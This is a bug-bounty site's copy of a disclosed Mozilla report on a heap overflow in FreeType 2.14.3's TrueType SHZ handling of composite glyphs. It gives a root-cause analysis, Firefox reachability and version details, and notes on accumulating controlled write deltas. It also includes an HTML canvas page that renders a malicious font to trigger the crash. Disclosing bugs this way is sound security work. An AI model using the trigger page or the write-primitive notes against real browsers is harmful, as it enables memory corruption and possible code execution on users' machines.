Skip to content
Memory corruption Disclosed report Advanced CVE-2026-10701

FreeType 2.14.3 TT SHZ: 8-byte OOB write per instruction from composite glyph hinting

A heap buffer overflow in FreeType's TrueType SHZ instruction when processing composite glyphs allows an out-of-bounds write of 8 bytes per instruction, controlled by font data. An attacker could exploit this via a malicious font to corrupt memory in applications that load glyphs with hinting enabled, potentially leading to code execution.

taiho kim Follow

Originally disclosed on Mozilla

  • Fixed in 10 days
  • Paid in 17 days
  • Disclosed after 10 days

Created attachment 9584944 poc.zip

FreeType TT SHZ: 8-byte OOB write per instruction from composite glyph hinting

The TrueType SHZ instruction writes past zp2.cur[] when invoked from inside a composite glyph's hinting program. The walk count comes from the composite's contour table; the buffer is sized for a sub-glyph's n_points. Each iteration of Move_Zp2_Point is an 8-byte read-modify-write with the value dx/dy pushed onto the interpreter stack by the font itself.

Reproduction

==67947==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7e1ec07e3088
READ of size 8 at 0x7e1ec07e3088
    #0 Move_Zp2_Point              ttinterp.c:4991:63
    #1 Ins_SHZ                     ttinterp.c:5147:9
    #2 TT_RunIns                   ttinterp.c:6994:11
    #3 TT_Hint_Glyph               ttgload.c:834:15
    #4 TT_Process_Composite_Glyph  ttgload.c:1248:12
    #5 load_truetype_glyph         ttgload.c:1909:19
    #6 load_truetype_glyph         ttgload.c:1854:19
    #7 TT_Load_Glyph               ttgload.c:2556:13
    #8 FT_Load_Glyph               ftobjs.c:1073:15

0x7e1ec07e3088 is located 8 bytes after 12160-byte region [0x7e1ec07e0100,0x7e1ec07e3080)
allocated by:
  realloc → FT_GlyphLoader_CheckPoints (ftgloadr.c:242)
   → TT_Load_Simple_Glyph (ttgload.c:389)
   → load_truetype_glyph (ttgload.c:1633)
   → load_truetype_glyph (ttgload.c:1854)

The harness builds FT 2.14.3 from modules/freetype2/ and calls FT_Load_Glyph with FT_LOAD_DEFAULT. That flag is what Skia and cairo pass on the default Canvas2D / cairo-ft text path on Linux desktop; see "Web reachability".

Root cause

The composite glyph loader stops reserving room for the sub-glyph's points; Ins_SHZ then trusts that the buffer is large enough for a count derived from the composite.

modules/freetype2/src/truetype/ttgload.c:1188 (composite branch entry):

C
/* make room for phantom points */
error = FT_GLYPHLOADER_CHECK_POINTS( loader->gloader, 4, 0 );

The historical reservation was outline->n_points + 4. The simple-glyph path (ttgload.c:389) still uses n_points + 4 and is fine. For composites the loader recurses into each sub-glyph and the buffer ends up sized around the last sub-glyph's point count plus the 4-point phantom slot, never grown to fit the composite's full set.

ttinterp.c:5111 Ins_SHZ, gep2 == 1 branch:

C
else if ( exc->GS.gep2 == 1 && exc->zp2.n_contours > 0 )
    limit = exc->zp2.contours[exc->zp2.n_contours - 1] + 1;

contours[] is built per the composite, so contours[end]+1 equals the total composite point count. The loop then runs Move_Zp2_Point from 0 to limit-1 using zp2.cur[], which is still sub-glyph-sized.

ttinterp.c:4977-4991:

C
static void Move_Zp2_Point( TT_ExecContext exc, FT_UShort point,
                            FT_F26Dot6 dx, FT_F26Dot6 dy, FT_Bool touch )
{
  if ( exc->GS.freeVector.x != 0 ) {
    if ( !exc->backward_compatibility )
      exc->zp2.cur[point].x = ADD_LONG( exc->zp2.cur[point].x, dx );  // 4979
  }
  if ( exc->GS.freeVector.y != 0 ) {
    if ( exc->backward_compatibility != 0x7 )
      exc->zp2.cur[point].y = ADD_LONG( exc->zp2.cur[point].y, dy );  // 4991
  }
}

Both cur[point].x and cur[point].y are read and written. dx / dy come from the interpreter stack — pushed by PUSHB / PUSHW / NPUSHB / NPUSHW, signed 32-bit, fully font-controlled.

Axis gating:

X axis:  !exc->backward_compatibility               (== 0)
Y axis:  exc->backward_compatibility != 0x7         (default value 4 satisfies this)

backward_compatibility is initialised to 4 at ttgload.c:2293 for non-tricky faces. Y is reachable everywhere; X requires backward_compatibility == 0. tt_face_init matches the family name against trick_names[] (MingLiU, PMingLiU, etc.); naming the malicious font as one of those keeps backward_compatibility = 0 from the earlier init at ttgload.c:2228, enabling X writes.

Each glyph render runs SHZ once per occurrence in the hinting program, accumulating the dx/dy delta into the OOB slot. Repeated renders by JS (same character at many sizes, or many fillText calls) compound the delta. Measured against a separate dy-controlled font:

288 renders × dy=1     →  0x120  accumulated
288 renders × dy=100   →  0x7080 accumulated

Synthesising an arbitrary 64-bit delta is straightforward by combining multiple deltas of opposite sign at chosen powers of two.

Web reachability

Relevant FreeType callsites in this tree (the ones whose load flags I traced — not exhaustive, but covers the desktop content paths):

gfx/2d/ScaledFontFreeType.cpp:60           FT_LOAD_NO_AUTOHINT | FT_LOAD_NO_HINTING
                                           (Android / b2g paths; TRICKY clears NO_AUTOHINT only)
gfx/2d/ScaledFontFontconfig.cpp:356        FT_LOAD_DEFAULT                    (Linux desktop)
gfx/thebes/gfxFcPlatformFontList.cpp:674   FT_LOAD_DEFAULT                    (Linux desktop)
gfx/thebes/gfxFT2FontList.cpp:226-228      gfxPlatform::FontHintingEnabled() ? FT_LOAD_DEFAULT
                                                                              : NO_AUTOHINT|NO_HINTING
                                           (TRICKY clears NO_AUTOHINT only)
gfx/cairo/cairo/src/cairo-ft-font.c:1862   FT_LOAD_DEFAULT                    (cairo text)
gfx/cairo/cairo/src/cairo-colr-glyph-render.c:871   FT_LOAD_DEFAULT (hardcoded)   (COLR glyphs)
gfx/skia/skia/src/ports/SkFontHost_FreeType.cpp:951 FT_LOAD_DEFAULT             (Skia)
gfx/skia/skia/src/ports/SkFontHost_cairo.cpp:492    FT_LOAD_DEFAULT             (Skia-cairo)
gfx/wr/wr_glyph_rasterizer/src/platform/unix/font.rs:568 load_flags             (WebRender Unix)
gfx/harfbuzz/src/hb-ft.cc:115,1743         FT_LOAD_DEFAULT | FT_LOAD_NO_HINTING (shaping)

ScaledFontFreeType and the HarfBuzz shaping path force NO_HINTING. ScaledFontFreeType matters because that's the path Mozilla uses where Fontconfig isn't available (the Android / b2g build configs); on those builds mHinting is irrelevant because the load flags are constructed directly here. The HarfBuzz path is only used for shaping (advance widths and metrics) and not for actual glyph rasterisation, so it doesn't hit Ins_SHZ either.

Linux desktop goes through ScaledFontFontconfig. gfx/2d/ScaledFontFontconfig.cpp:121-230, the ctor used there, non-printer branch:

C
if (!printing) {
    mFlags |= HINT_METRICS;
    if (hinting != FcFalse) {
        if (FcPatternGetInteger(aPattern, FC_HINT_STYLE, 0, &hintstyle) != FcResultMatch) {
            hintstyle = FC_HINT_FULL;
        }
        switch (hintstyle) {
          case FC_HINT_SLIGHT:  mHinting = FontHinting::LIGHT;   break;
          case FC_HINT_MEDIUM:  mHinting = FontHinting::NORMAL;  break;
          case FC_HINT_FULL:    mHinting = FontHinting::FULL;    break;
          case FC_HINT_NONE:    /* mHinting stays NONE */         break;
        }
    }
}

SetupFontOptions (line 291) maps this to cairo: FULL → CAIRO_HINT_STYLE_FULL, NORMAL → MEDIUM, LIGHT → SLIGHT. cairo-ft-font.c:2050-2058 adds FT_LOAD_NO_HINTING only for CAIRO_HINT_STYLE_NONE; SLIGHT switches to FT_LOAD_TARGET_LIGHT (autohinter, bytecode skipped); MEDIUM/FULL proceed without NO_HINTING and bytecode runs.

WebRender's font.rs:568 builds its own load_flags based on the fontconfig hint settings on the FT face, so the same hintstyle gating applies: a slight desktop never hits SHZ from the WebRender raster path either.

Per-flag behaviour against poc_early.ttf linked against Mozilla's bundled FT 2.14:

FT_LOAD_DEFAULT                                  → CRASH (ttinterp.c:4991 OOB)
FT_LOAD_TARGET_NORMAL                            → CRASH
FT_LOAD_TARGET_LCD                               → CRASH
FT_LOAD_TARGET_LIGHT                             → no crash (autohinter, no bytecode)
FT_LOAD_NO_HINTING                               → no crash
FT_LOAD_NO_HINTING | FT_LOAD_NO_AUTOHINT         → no crash
FT_LOAD_DEFAULT | FT_LOAD_FORCE_AUTOHINT         → no crash

Linux desktop reachability matrix:

Fontconfig hintstyle Cairo load flags SHZ
none FT_LOAD_NO_HINTING safe
slight FT_LOAD_TARGET_LIGHT safe (autohinter)
medium FT_LOAD_TARGET_NORMAL hit
full FT_LOAD_TARGET_LCD/NORMAL hit

Ubuntu installs /etc/fonts/conf.d/10-hinting-slight.conf and falls into the safe row by default. Fedora, Arch, RHEL and the upstream Debian default fall into the hit rows.

window.print() reaches the parent process's FT but the print pipeline forces mHinting = NONE along the way (ScaledFontFontconfig.cpp:138-144 sets it for printer fonts and the InstanceData carrying that travels across IPC). Bytecode does not run in the parent for printer fonts.

HTML
<!doctype html>
<meta charset="utf-8">
<style>
@font-face {
  font-family: "Evil";
  src: url("poc_early.ttf") format("truetype");
}
</style>
<canvas id="c" width="600" height="120"></canvas>
<script>
const ctx = document.getElementById("c").getContext("2d");
document.fonts.ready.then(() => {
  for (let s = 12; s <= 144; s += 4) {
    ctx.font = `${s}px "Evil"`;
    ctx.fillText("Ô", 5, 60);   // glyph 61 = composite trigger
  }
});
</script>

On a desktop Firefox 152 Nightly with system fontconfig at hintfull / hintmedium, the content process crashes immediately after the fonts ready handler runs. With hintslight (Ubuntu default) the page renders without crashing because cairo takes the autohinter branch.

Affected versions

The bundled FreeType in both branches is in the 2.14 line. The branches differ only in the ttgload.c:1188 line:

Bundled FT version ttgload.c:1188 Status
origin/main (90143df1, 2026-05-10) 2.14.3 FT_GLYPHLOADER_CHECK_POINTS(loader->gloader, 4, 0) vulnerable
origin/release (d269b4d9, 2026-05-06) 2.14.2 FT_GLYPHLOADER_CHECK_POINTS(loader->gloader, outline->n_points + 4, 0) safe

So Firefox stable / Beta / ESR (built from origin/release) are safe through bundled FT — the vulnerable composite reservation never made it to that branch. Firefox 152 Nightly (built from origin/main) is vulnerable through bundled FT.

Upstream FreeType master has a fix series merged 2026-04-26 (1803559c, 7d600a02, 6d0ae3ae, c8c8b4b8, 5d109934, 85c20f4e); no release tag yet carries them.

Linux desktop builds use the system libfreetype rather than the bundled copy. There:

  • libfreetype 2.14.3 (Fedora 39+, Arch, RHEL 9.5+, Debian testing) carries the regression and is reachable on the Linux content path subject to the hintstyle gate above.
  • libfreetype 2.13.x (Ubuntu 24.04 LTS, Debian stable) does not have the regression at all.

Pulling the upstream 2026-04-26 fix series wholesale is also an option; that series rewrote both Ins_SHZ and Move_Zp2_Point more invasively.

The original report as published on Mozilla's Bugzilla, by taiho kim. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The composite glyph loader fails to reserve enough space for all points of the composite glyph, so the SHZ instruction later writes past the allocated buffer.

Impact

An attacker could cause a heap buffer overflow, leading to a crash or potentially arbitrary code execution, but only on systems where font hinting is enabled (e.g., certain Linux distributions) and with a vulnerable FreeType version.

What the attacker needed

Victim loads a malicious font; font hinting enabled (e.g., hintmedium or hintfull); vulnerable FreeType version (2.14.3)

The fix

The vulnerability was fixed in upstream FreeType master with a series of commits merged on 2026-04-26, but no release tag yet includes them; users should update to a patched version when available.

How it was found

  1. Create a malicious TrueType font with a composite glyph whose hinting program uses the SHZ instruction.
  2. Load the font in an application that uses FreeType with hinting enabled (e.g., FT_LOAD_DEFAULT).
  3. Render the composite glyph, triggering the SHZ instruction and causing an out-of-bounds write.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

FreeType is a library that renders fonts. A specially crafted font can trick it into writing data beyond the memory it allocated, which can crash the program or let an attacker run their own code. This happens because the library miscalculates how much space it needs when handling certain complex fonts.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.